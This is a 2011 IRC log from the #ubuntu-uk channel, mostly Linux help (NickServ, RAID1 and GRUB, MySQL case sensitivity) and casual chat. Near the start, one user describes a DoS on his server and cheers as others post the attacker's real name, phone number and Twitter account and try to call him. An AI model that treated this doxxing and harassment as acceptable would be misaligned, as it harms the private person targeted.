#ubuntu-uk 2011-01-17
<Azelphur> hamitron, yup
<Azelphur> I'm being DoS'd
<Azelphur> finally managed to get that far :(
<Azelphur> now I need to figure out how to iptables block it
<hamitron> will be hard if they are from different IP :/
<Azelphur> hamitron, nope
<Azelphur> all the same IP
<Azelphur> good point I can just filter the IP
<Azelphur> some kiddie from canada
<Azelphur> I'mma mail his abuseÎ©
<hamitron> :)
<Nafallo> DoS != DDoS ;-)
<HazRPG> ^^
<ali1234> ...it's not DDoS if it's all the same IP...
<ali1234> also @ fail... using synergy by any chance?
<HazRPG> indeed
<HazRPG> also, Hi #ubuntu-uk :)
<Azelphur> hamitron, my servers back to life :D
<Azelphur> and the 4chan hornets are descending on the perp
<Azelphur> I'd hate to be him right now.
<hamitron> :)
<hamitron> Azelphur: I wish I was a fly on the wall
<Azelphur> hamitron, you can be, it's all going down in my channel
<Azelphur> they've got his real name, twitter account, telephone number
<Azelphur> they've been trying to call but it's busy so far
<Azelphur> so the real fun is no doubt on the way
<hamitron> :)
<hamitron> is it just a script kiddy?
<Azelphur> yup
<HazRPG> is there a way to rename a username that's been registered on IRC?
<HazRPG> because I have HazRPG and HazRPG-Desktop both linked together
<HazRPG> but I want to get rid of the HazRPG-Desktop one (since it's technically the main one, I want HazRPG to be the main one)
<HazRPG> scratch that, nickserv has told me ^^
<rww> /msg nickserv identify to the account you don't want to keep, /msg nickserv drop it, /nick to it, /msg nickserv identify to the one you do want to keep, /msg nickserv group
<rww> ah, beaten by a bot :(
<HazRPG> ^^ thanks though - I love the ubuntu community because they're so awesome :)
<HazRPG> hmm, won't drop it lol
<HazRPG> "Nick HazRPG-Desktop is your account name; you may not remove it."
<rww> odd. try /msg nickserv drop HazRPG-Desktop yourpasswordhere
<HazRPG> (notice) Account HazRPG-Desktop has 1 other nick(s) grouped to it, remove those first.
<HazRPG> how odd
<HazRPG> seems I need to first ungroup HazRPG first before I can do that :s
<rww> oh, I thought they were two different accounts
<rww> if they're already grouped together, /msg nickserv set accountname hazrpg
<HazRPG> woot!
<HazRPG> think i fixed it :D
<HazRPG> thanks kindly for your help :)
<HazRPG> How many nicks are you actually limited to on IRC using this grouping method?
<rww> #freenode might know the exact number. More than 8, if memory serves.
<HazRPG> awesome
<HazRPG> only really need HazRPG
<HazRPG> only had HazRPG-Desktop because I was loggin in from my laptop and Desktop, but I don't do that anymore
<HazRPG> Hmm, why does empathy not let you view a room list for IRC?
<rww> because empathy is not a good IRC client :(
<rww> try /msg alis help list
<rww> (which is actually better anyway; /list tends to flood you off if you typo)
<HazRPG> pidgin just lists them all xD
<HazRPG> which is a pain
<HazRPG> what's a decent GUI IRC client for ubuntu?
<HazRPG> currently got ubuntu/windows running side by side now
<hazrpg_> test
<hcfd> Hey guys. I currently have two RAID1 arrays setup, and Ubuntu 10.10 on its own 80GB disk. I gave it 3GB for swap and the rest for /. I have a spare 80GB disk now and would like to move my entire Ubuntu / to a RAID1 array. Any thoughts on how best to do this, considering that I turned on home folder encryption?
<hcfd> A high level overview is all I'm after, not the step by step instructions. Thanks.
<hcfd> I would guess that I need to setup the spare disk first, give it a partition for /boot, one for swap, one for / (as RAID fd autodetect), then start this as a degraded RAID1 array, cp my boot folder to to the boot partition, cp / to /, minus the boot folder, use the Ubuntu CD to boot the system and update grub, making the new disk bootable. Then add my current disk to the RAID1?
<hcfd> Oh, and a bit of fstab editing after copying / over.
<hcfd> Thoughts, anyone?
<daubers> Morning
<MooDoo> hello all
<Myrtti> moin
<MartijnVdS> \o
<diplo> Morning
<DJones> Morning all
<BigRedS> G'morning!
<MooDoo> morning
<DJones> Morning BigRedS MooDoo
 * BigRedS has just remembered he was supposed to bring some coffee in this morning :(
<jpds> Morning.
<dutchie> morning
<MooDoo> morning dutch
<MooDoo> morning dutchie
<MooDoo> :)
<TheOpenSourcerer> Hey everyone! czajkowski has lost her voice! Great news - IRC will be safe today.
<MooDoo> TheOpenSourcerer: yay o/
<dwatkins> Surely if she's lost her voice she'll be using the keyboard more...
<dutchie> nothing like a 5 mile run in the rain to get you going at 7:30 on a monday morning
<DJones> dutchie: A 5 mile run in the rain at 7:30 on a monday morning would get me going back to bed :)
<MooDoo> i'm just glad i'm back on the motorbike :)
<DJones> Good morning
<DJones> Grr, wrong window
<MartijnVdS> DJones: hospital bed, or what? :)
<MartijnVdS> dutchie: I did a 6-mile run yesterday.. still hurting :)
<MartijnVdS> dutchie: http://goo.gl/maps/GD0M
<DJones> MartijnVdS: Probably, yes
<dutchie> MartijnVdS: i have a nice run up headington hill followed by circuits, followed by a run back this afternoon
<dutchie> that's going to hurt
<MooDoo> i have two speeds, slow and stop :)
<MartijnVdS> dutchie: I'm training for a 20km run at the beginning of March
<MartijnVdS> dutchie: THAT is going to hurt :)
<dutchie> yeah, that is going to hurt
<MartijnVdS> dutchie: http://www.20vanalphen.nl/
<dutchie> this is all in the name of rowing
<MooDoo> pwd
<MooDoo> ls
<MooDoo> oooops :)
<czajkowski> aloha
<MartijnVdS> g'morning czajkowski
<MooDoo> czajkowski: morning, damn your fingers still work even though your voice doesn't ;)
<czajkowski> MooDoo: go away :(
<dutchie> poor czajkowski
<screen-x> morning :)
<MooDoo> czajkowski: i love you xx :)
<AlanBell> morning all
<MooDoo> morning AlanBell
<bigcalm> Morning peeps :)
<dutchie> hi bigcalm
<dutchie> and AlanBell
<niall> Hey, I'm trying to migrate a single disk Ubuntu install to a RAID1 (2 drives) setup. I have some confusion over the naming scheme for the new array, which has 1 disk out of 2.
<niall> I created it as /dev/md0 but mdstat --detail --scan >> /etc/mdadm/mdadm.conf output /dev/md/d0 instead
<niall> Not sure what to put in 40_custom for GRUB now. Any ideas?
<niall> Initial trial boot didn't work.. not sure if that's a naming problem or the fact that it's a degraded array, having only one disk. I plan to later add the original single OS drive.
<niall> Made new initramfs and installed grub to the new raid member /dev/sdc, after chrooting into it and updating the 40_custom and fstab.
<niall> I have a tutorial for Arch Linux open which seems right on the money but is using GRUB 1, and it does have notes for Ubuntu, so I followed those obviously.
<ali1234> arch... everywhere
<ali1234> flavour of 2011
<ali1234> i might install it next time i have nothing to do
<niall> I'm only one or two steps away from booting this. Changed BIOS order and thought it was working but turns out it didn't boot the new raid, it booted the original disk after first disk failed. I expect grub can't see the root device, /dev/md0
<niall> ali1234, never tried it, I'm just using the guide as it is well written and comprehensive.. though perhaps not up to date for my particular situation.
<ali1234> tried finding a guide for ubuntu?
<niall> I did. All wayy outdated.
<niall> I just don't get why what was created and running as md0 is now md/d0 or md_d0 depending on what is looking at it.
<niall> Not sure how grub sees it.. which I think is the only issue. I suppose I could trial and error it till it works.
<ali1234> whats the difference?
<ali1234> grub has tab completion.. go to grub shell and try that
<niall> There's an idea!
<niall> I'm a long-time Slack user accustomed to LILO... I just didn't think of that.
<niall> Will try it.
<niall> Thanks.
<DJones> Interesting, Â£98 refurbished pc's using Linux to be made available to get people online http://www.pcpro.co.uk/news/364411/lane-fox-to-sell-98-pcs-to-the-have-nots
<ali1234> "A computer? Very nice dear! Put in the corner with the unused mobile phone, smoke alarm, Freeview box ..."
<MooDoo> ali1234: sounds like my gran :)
<MooDoo> ali1234: "ooooo a computer.....will it warm my slippers?" :)
<popey> my mum uses hers
<MooDoo> popey: your mum is famed for using hers....mumbuntu! :)
<dogmatic69> my mom runs ubuntu :D
<MooDoo> dogmatic69: mom?  you american?
<MooDoo> :p
<dogmatic69> no
<MooDoo> hehe just being silly :)
<dogmatic69> from south africa, but living in birmingham :)
<MartijnVdS> popey: Rage time :) http://twitter.com/#!/KerryHomeopath/status/28068864126
<ali1234> i lost
<freckle> MartijnVdS: I think her brain must be 100% water
<MooDoo> MartijnVdS: sigh eh :)
<Laney> I tried to explain having more than 4 channels on her new TV to my gran
<Laney> didn't work :'(
<MooDoo> Laney: as long as there is snooker on the telly my gran is ok :D
<diplo> Just finished :(
<Laney> anything involving royalty or flowers or singing hymns
<ali1234> i gave my mum a netbook with UNR on it, she was incredibly confused by the window menu being in the wrong place
<screen-x> MartijnVdS: AARGGGHH!
<ali1234> and so was I
<daubers> Morning
<screen-x> mornign daubers
<Matto_Destiny> Good morning all
<screen-x> \o Matto_Destiny
 * daubers is sat in traffic on the m4
<Matto_Destiny> Hi screen-x
<screen-x> daubers: :(
<screen-x> daubers: which was are you supposed to be going?
<screen-x> *way
<daubers> screen-x: Heading into London
<Matto_Destiny> I have a Question, I work with Mysql & ubuntu, i am always running into casr sensitive issues. 1) is Ubuntu likely to sort this issue and 2) is there a way round it. Thankyou
 * DJones hates Atheros 2413 wireless & WPA, stupid thing will only connect about 20% of the time
<BigRedS> Matto_Destiny: what is 'this issue'?
<BigRedS> MySQL and Ubuntu, and most of the rest of what you're likely to be running, will alwasy be case-sensitive
<BigRedS> that's viewed by many people as a feature, rather than a proble - you're likely to find that the way round it is to get used to it :)
<ali1234> mysql isn't case sensitive, it doesn't care if you put "SELECT" or "select" or whatever
<ali1234> a lot of badly written php code won't work on a case sensitive FS however
<ali1234> but then, bad php code is bad
<daubers> ali1234: It is with table names and columns
<BigRedS> Oh yeah, that bit isn't. That's a good point. (that's also why I get told off for all-lower-case sql)
<Matto_Destiny> yes daubers thats what i meant
<ali1234> SQL is pretty unreadable at the best of time... all caps commands helps a bit
<ali1234> are there any DB engines that aren't case sensitive for table and column names??
<Matto_Destiny> well for example Windows doesnt have the issue
<BigRedS> I find sensible quoting helps almost as well, without filling my screen with all caps
<Matto_Destiny> it doesnt seem to case if its Caps or lower
<BigRedS> Matto_Destiny: Windows is case-insensitive. It's not an 'issue' on either system, it's just two different ways of doing it
<BigRedS> Matto_Destiny: though MySQL (and MSSQL) on Windows is case-sensitive on table and field names
<daubers> It poxy well should be cse sensitive
<daubers> In most languages x != X
<Matto_Destiny> ok thought i'd ask anyways, i will keep hounding the project lead to keep changing his code to accomodate it. Thanks anyways
<ali1234> always write code that works on case sensitive systems but assumes the system is not case sensitive... it isn't hard...
<daubers> Matto_Destiny: if it causes you problems write a parsser to ensure correct casing
<Matto_Destiny> he does anyways for all platform, i was just asking for me
<ali1234> http://dev.mysql.com/doc/refman/5.0/en/identifier-case-sensitivity.html
<ali1234> hmmmmmmmmm
<ali1234> " the case         sensitivity of the underlying operating system plays a part in         the case sensitivity of database and table names. This means         database and table names are not case sensitive in Windows, and         case sensitive in most varieties of Unix."
<bigcalm> There is an exceedingly bright disc in the sky. It hurts to look at. What the heck is it?
<DJones> bigcalm: UFO, the aliens are coming to get you
<ali1234> also http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html#sysvar_lower_case_table_names
<ali1234> so you can fix it like this
<freckle> is it David Camerons ass?
<Matto_Destiny> ok :)
<ali1234> you will have to rebuild the DB though I guess
<ali1234> but you can do that with mysqldump
<Matto_Destiny> yeah np
<ali1234> but i would recommend you just clobber the DBA who thought capitalising the table and row names was a good idea
<BigRedS> ali1234: I've worked on a couple of systems where table and row names were all capitalised, and all sql commands were lower-case
<ali1234> well... that's just crazy
<Matto_Destiny> hehe, its a crazy world
<BigRedS> nah, just do everything in caps-lock :)
<davmor2> morning all
<MooDoo> BigRedS: Or LiKe ThIs :)
<davmor2>  prods czajkowski as she can't shout at him :D
<BigRedS> but, yeah, confused the hell out of me for the first couple of hours. I think that's when I stopped bothering with capitalisation in SQL
<MooDoo> davmor2: she's sulking i think :)
<BigRedS> MooDoo: haha
 * screen-x is getting annoyed with vmware, tried to convert a disk image for use with kvm, but the resultant image is an old snapshot. 
<davmor2> MooDoo: online in a morning not seen that for a couple of weeks at least
<MooDoo> davmor2: i've swapped a shift today with a collegue so for today at least i'm in 8 - 4:30
<davmor2> nice then the rest of the week at 4:30 till 0:00 or something weird
<MooDoo> davmor2: might be able to work from 8am tomorrow, but yeah reast of week 3:40 - midnight
<livingdaylight> good moerning
<MooDoo> davmor2: will give me chance to benchmar ubuntu and my new SSD :)
<davmor2> livingdaylight: morning
<davmor2> MooDoo: nice
<livingdaylight> davmor2, rainy one here
 * czajkowski sends davmor2 and MooDoo to the bold corned 
<czajkowski> *corner
<davmor2> czajkowski: feel bold today no verbal abuse off you ;)
<MooDoo> czajkowski: *is this bold enough*
<MooDoo> rats didn't work
<livingdaylight> anyone using Android recommend a particular app for reading .mobi files?
<MartijnVdS> livingdaylight: calibre
<DJones> livingdaylight: I think FBreader can access .mobi files (but not 100% certain)
<MartijnVdS> livingdaylight: they're e-books, right?
<livingdaylight> this particular one is a .mobi file some are epubs
<MartijnVdS> livingdaylight: calibre :)
<MartijnVdS> it's _the_ ebook app
<livingdaylight> kewl :)
<MooDoo> czajkowski: davmor2 is this bold enough
<livingdaylight> not a huge fan of Amazon or their proprietary Kindle
<MartijnVdS> livingdaylight: calibre talks to kindle :)
<davmor2> Moodoo no but this should be
<livingdaylight> MartijnVdS, Â£1.88?
<DJones> livingdaylight: FBReader can read non-DRM'd mobipocket files according to http://www.fbreader.org/docs/formats.php
<MartijnVdS> livingdaylight: uh? calibre is free.. apt-get install calibre
<MartijnVdS> oh wait
<DJones> MartijnVdS: He asked about android
<MartijnVdS> Calibre on the desktop
<livingdaylight> MartijnVdS, sorry, I know its not directly linux related, but was referring to Android
<MartijnVdS> DJones: I'm confused by this being an Ubuntu channel and my window not being tall enough :)
<DJones> Heh
<livingdaylight> DJones, thx
<MartijnVdS> well.. you can find _any_ ebook app you want, and convert .mobi to epub using calibre on the desktop .. :)
<DJones> livingdaylight: Try FBReader, thats free & seems like it reads mobipocket files, or install calibre on Ubuntu & convert the ebook to whatever format you want
<livingdaylight> MartijnVdS, great, its good to know anyway
<MartijnVdS> livingdaylight: I use it to upload  books to my sony ebook reader
<MooDoo> czajkowski: what's you're phone number i'm half tempted to ring you just to see how husky ;) lol
<livingdaylight> MartijnVdS, its good to know. Just installing it on Desktop now - will no doubt come in handy
<BigRedS> Is there a 'show grants' equivalent for databases in mysql? Rather than getting what a user can do, get who can do what on a db?
<MooDoo> czajkowski: so all joking aside, are you ok, just a sore throat?
 * AlanBell knows a number MooDoo isn't going to get
<niall>  ali1234, problem sorted. Cup of coffee helped me see a minor config error, and grub command line let me boot up no problem whatsoever. Thank fook.
<AlanBell> yay for the OLPC working fine on rubbish wifi connections
<popey> :)
<popey> you running OpenERP on your OLPC?
<MooDoo> AlanBell: kinda what i expected :)
<ali1234> BigRedS: use mysql; select * from db where db.Db = 'database';
<davmor2> AlanBell: you think not?
<AlanBell> popey: probably could do
<AlanBell> it is just python
<popey> i still quite fancy an olpc
<BigRedS> ali1234: Ah yes! I forget you can do normal SQL here :)
<popey> i need to buy 6 very large disks
<AlanBell> popey: best laptop I have ever had
<popey> pondering 2TB
<AlanBell> in terms of lasting and being useful and interesting
<popey> yeah, it is all of those
<popey> shame about the keyboard
<AlanBell> yeah, but you can plug in a USB one
<popey> blimey, you can get 3TB disks now
<AlanBell> some day when I can let go of it I will donate it to freesitebuilder's museum
<gord> hrm, not sure what to do with my netbook that i don't need anymore
<ali1234> is it a good idea to microwave a netbook?
<Laney> only if you add cheese
<Laney> preferably brie
<gord> starting to think i should replace my server with my netbook, its basically the same hardware but the netbook is smaller ;)
<ali1234> probably uses less power too
<gord> not really, like i said, same hardware
<Azelphur> Had my first DoS attack yesterday :D
<ali1234> it take a lot of electricity to fill that big case :D
<gord> i keep meaning to turn off password attempts on my server, but then i wouldn't get to see the creative names bots try and log in with!
<Azelphur> Feeling the hate D:
<X3N> gord: is it an EEE?
<ali1234> gord: throw up a fake contact.php on the root of your site for fun times :)
<gord> X3N, no, dell mini 10v
<X3N> oh
<ali1234> so, say i had about 100GB of data that i need to process, and it would take 150 days on my workstation... how much would it cost me to get it done on a high performance cluster in like a week?
<screen-x> ali1234: ask aws
<ali1234> i calculated it would cost about Â£500 on EC2
<ali1234> but i don't wanna set it all up myself
<hamitron> cheaper to buy another comp to dedicate to the task :/
<ali1234> i just want to send the data and the code to someone, and get back the result
<ali1234> you know, like in the old days...
<MattJ> ali1234: hmm, I may be able to help (indirectly) - let me check :)
<ali1234> hamitron: not really, the 150 day estimate is on a machine that cost Â£500
<MartijnVdS> how long would it take on amazon?
<ali1234> depends how many instances i would rent and bother to configure
<ali1234> the task is highly parallel
<screen-x> ali1234: a machine that cost Â£1000 would be significantly faster
<ali1234> probably, this machine is a year old too
<MattJ> ali1234: the machine I'm thinking of has quite a number of cores
<MattJ> if it's still available
<ali1234> i have a quad core...
<ali1234> 16 cores would therefore be about a month...
 * popey looks at numerous 12 core boxes sat idle :(
<screen-x> ali1234: so get a quad socket board with 6 core xeons, it'll be done in no time..
<MattJ> screen-x: that's all? :)
<ali1234> i guess if i spec the machine for raw CPU performance...
<ali1234> maybe i can rewrite the processing software to use GPU or something
 * hamitron would just set any half decent machines he has on the task, then wait
<gord> ali1234, what kind of data, ever thought about opencl?
<hamitron> leaving my main machine to work on unused
<screen-x> MattJ: well, obviously it needs some sort of hardware xmpp interface as well..
<ali1234> i'm doing deconvolution, so yeah
<MattJ> XMPP \o/
<hamitron> does this stuff have to be done quick?
<ali1234> not really no
<hamitron> why not just put it in background then?
<ali1234> well i can
<hamitron> sorry for been boring ;)
<hamitron> other way sounds way more cool
<ali1234> gord: is there a library for image process/signal analysis type tasks using openCL? or does it include that stuff?
<ali1234> eg fast gaussian blur on a 1d array...
<Seeker`> Jabber \o/
<MattJ> Jabber \o'/
<MattJ> !
<gord> ali1234, no but gaussian blurs aren't hard to write :) just copy the gimp code
<ali1234> the gimp code isn't written in openCL :)
<gord> openCL is a lot like C
<ali1234> resizing, blurring, differencing the data is the main slow point in my app, so openCL looks good
<gord> the basic algorithms in gimp will apply well
<gord> plus, whats more fun than learning something new like opencl! ;)
<ali1234> well i'm already trying to wrap my head around fourier analysis at the moment...
<ali1234> seems like it applies to my problem
<cps> afternoon peeps :)
<MooDoo> cps: zaafternoon
<hamitron> ali1234: "2-dimensional Gaussian Blur Filter of RGBA image using IRF method."?
<cps> it's MooDoo !
<cps> how's you? :p
<ali1234> hamitron: yeah, i'd prefer a nice easy to use library that hides all the complexity, rather than a 1 shot example code...
<hamitron> ah ok, there is a sample on the nvidia site
 * cps noms on some cornflakes
<cps> absolutely nothing for lunch :\
<bigcalm> Potnoodle \o/
<hamitron> reckon I may get fish and chips
<DJones> Can a Potboodle be considered as lunch, or even food for that matter
<hamitron> hehe, no ;)
<bigcalm> Yes and yes :D
<hamitron> bbl, chippy here I come!
<czajkowski> MooDoo: what kinda phone do you have
<MooDoo> czajkowski: htc desire
<czajkowski> interesting
<MooDoo> czajkowski: er why?
 * czajkowski grins, MooDoo isn't able to use his phone :p
 * MooDoo has just been beaten by czajkowski's stick of learning....
 * popey spies on czajkowski 
 * popey hugs google latitude
 * czajkowski peers at popey 
<czajkowski> popey: see you know how to use your phone
 * czajkowski hands MooDoo the manual to his phone 
<popey> :)
<MooDoo> tell her popey, she's picking on me
<popey> and I have a _great_ phone
<MooDoo> popey: iphone right?
<popey> ya
<czajkowski> popey: I beg to differ, my version of yours is in a drawer :p
 * popey also spies on dutchie 
<MooDoo> i could of had an iphone at upgrade time, if i gave them Â£100 + Â£45 a month, thought i'd go with the free android :)
<popey> and Daviey ooo and AlanBell
<czajkowski> dutchie: ping
<MooDoo> czajkowski: well you're now linked to facebook and twitter :D
<popey> oo and JamesTait
 * JamesTait wakes up.
<czajkowski> popey: we get to do the latitude watch for oggcamp again this year :D
<JamesTait> What did I do now? :)
<gord> dang it it firefox sync, firefox sync faster!
<AlanBell> latitude tells me czajkowski is a "stale friend"
<czajkowski> roflol
<AlanBell> popey is nice and fresh
<gord> wish things would stop saying i should connect my facebook account to them
<czajkowski> popey: you out and about today ?
<gord> heh banshee is written in mono but doesn't run on windows
<ali1234> nothign unusual about that, most .net apps won't run in mono either
<czajkowski> davmor2: accepted but no good to me unless I'm stuck at that train station again!
<davmor2> czajkowski: Yeah but it stops you sneeking up on me to whack me :P
<MooDoo> davmor2: she's from ireland, it wouldn't hurt any way ;)
<Daviey> popey, The latest generation of android phones are epic levels of awesomeness better than the Hero....  So don't taint them all with legacy hardware :)
<popey> czajkowski: I'm at work.
<popey> Daviey: still android, still broken
<popey> I have played with a few here at work
<MooDoo> popey: she only wants you to pick up some tea :)
<davmor2> MooDoo: you say that till czajkowski's Ireland thrashes England at Rugby then you eat humble pie for 12 months right?
<MooDoo> davmor2: as if that's going to happen :)
 * MooDoo gets out his grovelling shirt just in case.....
<czajkowski> MooDoo: March will tell won't it
<davmor2> MooDoo: haha
<MooDoo> czajkowski: yes it will, rats is it that close......er er, ah england players are all injured :)
<czajkowski> well my team are now out of the H cup so that frees up some people to train outside of the Magners L
<MooDoo> czajkowski: yeah i heard about that....bugger....
<MooDoo> czajkowski: harlequins won though :p
<gord> i know nothing about sports but am willing to offer my opinion, it seems to me like you want the people that are best at putting an air inflated balloon ball thing in to the opposing teams area where you get a point
<Daviey> popey, What aspects do you consider borked?
<gord> Daviey, no big apple symbol on the back ;)
<Daviey> heh
<MooDoo> gord: when it comes to rugby czajkowski and i have a love hate relationship
<MooDoo> gord: i love her, she hates me......budum tish :)
<MooDoo> lol
<popey> the upgrade process, the phones are slow - even the most recent models - lack of decent apps & games
<popey> off the top of my head
<MooDoo> popey: to be honest, do people really care about the lack of apps/games?  as long as it makes phone calls?
<popey> yes
<directhex> yes
<popey> welcome to 2011
<Daviey> lololol
<directhex> a phone call phone is Â£8.47
<MooDoo> ah fair enough lol i'll consider myself slapped :)
<gord> i disagree with the "lack of apps and games", honestly, anything good gets ported to android these days
<gord> ea even make games for it
<directhex> people pay more than Â£8.47 because they want functions exceeding an Â£8.47 phone
<AlanBell> if the phone does ssh then it is fine by me
<Daviey> popey, What great apps does iphone have that android is missing?
<czajkowski> AlanBell: your phone is not a phone!
<AlanBell> czajkowski: fair point
<Daviey> AlanBell, your phone is really a goldfish!
<popey> gord: yeah, it's improving over time
<czajkowski> popey: I will say I did prefer the facebook app on the iphone over the android, it updates better and displays it clearer
<dogmatic69> i just uninstalled the fb for android
<gord> i hear the facebook app on android is bad yeah, but i have always just gone to the website
<dogmatic69> touch.facebook.com is better
<MartijnVdS> gord: the app is faster than the website, on my nexus one
<popey> there's a few games I like on the iphone like trainyard, cut the rope, words with friends, trainconduct, oven break, mx mayhem. Apps include wordpress, godaddy, dropbox, tunein radio, vlc, around me, tube deluxe, wind finder, amazon uk app, ocado app, ebay app, ISS lite, lastpass, spotify, flixter
<popey> thats a bunch that I use to varying degrees
<popey> some more than others, but most of them a lot
<dogmatic69> just a few eh..
<MartijnVdS> am I the only one who doesn't really use apps/games?
<MartijnVdS> I use facebook and twitter.. that's about it
<popey> the _big_ thing that android is missing is a decent podcast download/player, the iphone one is pretty much perfect IMO
<Daviey> popey, Hmm.. android does have some of them, right?
<popey> (I listen to podcasts in the car on the way to/from work)
<popey> some, yes
<MartijnVdS> popey: I love Google Listen :) it's decent enough ;)
<popey> and over time it gets better
<popey> MartijnVdS: nope, its shit compared to itunes :)
<Daviey> popey, Did you try google listen?
<popey> yes
<MartijnVdS> popey: I can't run itunes
<popey> multiple times
<popey> i didnt say you could
<MartijnVdS> popey: and if I could, I wouldn't (because I don't like the eula)
<popey> I am talking about the iphone
<popey> not desktop
<Daviey> popey, Recently, i've been using banshee to do the downloading of stuff... keeping stuff synced
<popey> Daviey: podcasts?
<Daviey> auto syncing playlists
<gord> popey, ever thought about putting podcasts in ubuntu one and then streaming on that?
<Daviey> popey, both music and podcasts
<gord> thats what i do
<popey> i dont care much about music, i have spotify
<Daviey> gord, does u1 yet support "own" music?
<dutchie> czajkowski: pong
<popey> gord: thats too much effort
<popey> on the phone I click on a podcast and hit download, or let it sync automagically
<popey> i like magic, I dont like manual faff
<gord> Daviey, always has done
<popey> hey-ho though, each to their own, choice is a good thing and all that :)
<popey> but I think I speak from experience having used both platforms quite a bit
<Daviey> hah
<Daviey> everyone has an equal opinion, but my opinion is more equal than yours :)
<screen-x> popey: which podcast downloader do you use on the iphone? I get really annoyed with the 'itunes' app, as it doesn't let you subscribe.
<popey> well, many base their opinion on nothing more than perception, mine is based on experience
<popey> screen-x: i use itunes
<screen-x> (2011-01-17 13:16:35) popey: on the phone I click on a podcast and hit download, or let it sync automagically   <-- automagically = via a usb cable?
<Daviey> I've not used itunes in a long time... but i was quite impressed how far banshee has overtaken rhythmbox in that area.
<popey> yeah, I do both, sometimes I will hear someone mention something and I'll go looking for the show on the phone and download an episode or 5 and listen then and there
<popey> or maybe I'll use it connected via usb
<popey> yeah, banshee is lovely
<freckle> I find Google Listen is terrible at auto syncing.. almost to the point of useless
<Daviey> yeah, i want my queue to be synchronised across all platforms... which is something apple have done a better job with so far.
<gord> like i said before, i just use u1 everywhere now :)
<popey> screen-x: even if the phone doesn't sync automagically, you can still go to "get new episodes" to get more of a show you like
<Daviey> gord, Can you pick just one folder that will have two way sync to the phone?
<Daviey> I'd rather not everything sync'd down
<Daviey> (considering a 50GB allowance!)
<popey> u1 doesnt do phone sync does it?
<gord> Daviey, no sync on phone right now, you stream
<popey> it streams
<Myrtti> gaia and all deities, my neck hurts
<Daviey> gord, That is great for a transatlantic flight :)
<freckle> being able to specify only dl on WiFi is a good option. Guardian app for Android offers this
<gord> Daviey, well you can tell it to buffer X amount of space, i have it set to 1gb which is enough :)
<Daviey> ahh
<popey> how does it know what to buffer?
<gord> your playlist
<popey> I have way more than 1GB of podcasts on my phone
<gord> shuffle just builds a random playlist that grows
<Daviey> sabdfl filters your queue to decide what you probably want.
<popey> :)
<Daviey> gord, What would we do without you?
<gord> use non ubuntu products! :O
<popey> buy evil phones?
<gord> can you get u1 music player on iphone yet? can't remember what happened there
<popey> yes
<popey> needs a subscription to u1 though
<popey> which I'm not about to pay for, just for listening to stuff I downloaded from the internet
<hamitron> can't afford the subscription once you got the phone though ;/
<popey> haha
<Daviey> Last time i tried the contact sync, it was less than polished
<Daviey> i could see no way of saying, "All these contacts should be managed by U1"
<gord> Daviey, yeah, i think thats compounded by the weird way contacts are done on android, u1 contact sync always breaks for me
<gord> ugh, the music player situation on windows is terrible, i'm gonna have to use winamp. its like the 90's over there
<gord> maybe i can start a small VM for banshee...
<popey> retro
<popey> I used to love old winamp
<popey> I get flashbacks to songs I used to listen to, just looking at the winamp UI
<screen-x> It really kicks the lama's ass :)
<gord> i used to write those visulisation things, that was so much fun
<gord> got me in to graphics coding
<davmor2> I have to recommend absolute radio I've a had a quick look at their site, they support wma for windows, itunes for apple and ogg vobis and flac for Linux as well as nearly every mobile format digital tv etc etc etc most impressed
<gord> winamp tried to install "Winamp Toolbar" and "Set Winamp Search as my default search engine" and "50 free MP3 Downloads!"... geeez, i hope nothing on ubuntu gets like that =\
<MooDoo> gord: winamp o/
 * popey points gord at the spam you get when you ssh to an ubuntu server
<gord> i wouldn't catagorise that in the same partition myself ;)
<popey> http://paste.ubuntu.com/555069/
<popey> hmmm, how hard would it be to make an ubuntu "recovery partition"
<popey> which was a grub boot option which let you boot to the installer
<BigRedS> popey: not to mention the six or eight second wait while it calculates all that for you just in case you happen to be interested
<popey> which is pointless given I use byobu BigRedS :)
<popey> (yes, I know you dont like byobu)
<MartijnVdS> youch ~/.hushlogin \o/
<MartijnVdS> touch*
<BigRedS> I don't dislike byobu, I think we just have differences of opinion :)
<popey> MartijnVdS: yeah, i do that :)
<BigRedS> MartijnVdS: Awesome. Why haven't I come across that before?
<gord> popey, thats a pretty neat idea
<MartijnVdS> BigRedS: because you haven't read /etc/login.defs? :P
<BigRedS> MartijnVdS: that'd do it :)
<popey> gord: gonna have a play tonight
<popey> gord: especially cool if I put multiple options
<MooDoo> gonna install ubuntu onto my ssd tonight :)
<gord> let me know how it turns out :)
<popey> i am tempted to get an ssd for my laptop
<MooDoo> popey: that's where mine is, f120 corsair
<AlanBell> popey: you can do very similar with oem-config-prepare
<gord> ssd is the best thing you can do to make your laptop experience better imo
<MooDoo> gord: it runs really fast even when using wubi, so hopefully it will fly when installed natively
<AlanBell> but a proper recovery partition would have benefits
<popey> yeah
<popey> grub boots of ISOs these days?
<popey> could be handy
<X3N> what do you mean, boots of ISOs?
<davmor2> X3N: you can point grub at an iso and it boots with the right options?
<BigRedS> funny place to keep your disc images
<BigRedS> (or s/of/off/)
<popey> yes, that
<popey> rather than booting to an "installed" system
<popey> you can boot to an ISO held on the local filesystem
<davmor2> popey: you shoud be able to once btrfs is the default you could do an oem install and then clone it to another partition :)
<gord> huh, you can play music in minecraft now... guess i need to figure out how to play combine harvester in it
<popey> minecraft has black sheep now!
<popey> and new trees
<popey> and and and
<popey> </breathless>
<MooDoo> popey: and it's bloomin addictive and coal is a pain to find :)
<AlanBell> popey: hard day at work?
<popey> http://ansi.interblc.com/2010/02/06/howto-boot-iso-images-via-grub2-with-ubuntu
<popey> AlanBell: I am not playing minecraft at work :)
<popey> just longing to
<gord> MooDoo, a little trick, you can burn wood in the funaces
<MooDoo> gord oh your kidding me
<MooDoo> raaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
<Myrtti> dear universe, make the pain go away
<directhex> i nearly quoted a rude song at that point
 * MooDoo walks away sulking ;)
 * DJones offers Myrtti some co-codamol
<popey> hmm, I'd need a separate boot partition for this, otherwise when the person boots to recovery partition and reinstalls, they'd wipe out the grub config which lets them boot back to recovery again
<popey> or something
<hamitron> like the old days :)
<oly> popey, thanks for that link, been wanting that feature in grub for a while
<popey> heh
<screen-x> popey: the installer should detect the recovery partition as an OS and add it to the grub list..
<hamitron> I still have a /boot partition out of habbit :/
<popey> screen-x: i dont think it will
<popey> because it's not an os install
<oly> i hope it can work over pxe as well :)
<ali1234> i won't. but it should
<ali1234> oly: it can
 * hamitron has visions of someone having a 200Gb partition of ISO to choose from
<popey> its just a partition containing ISOs
<oly> cool, beans i shall build that into my server interface in that case :)
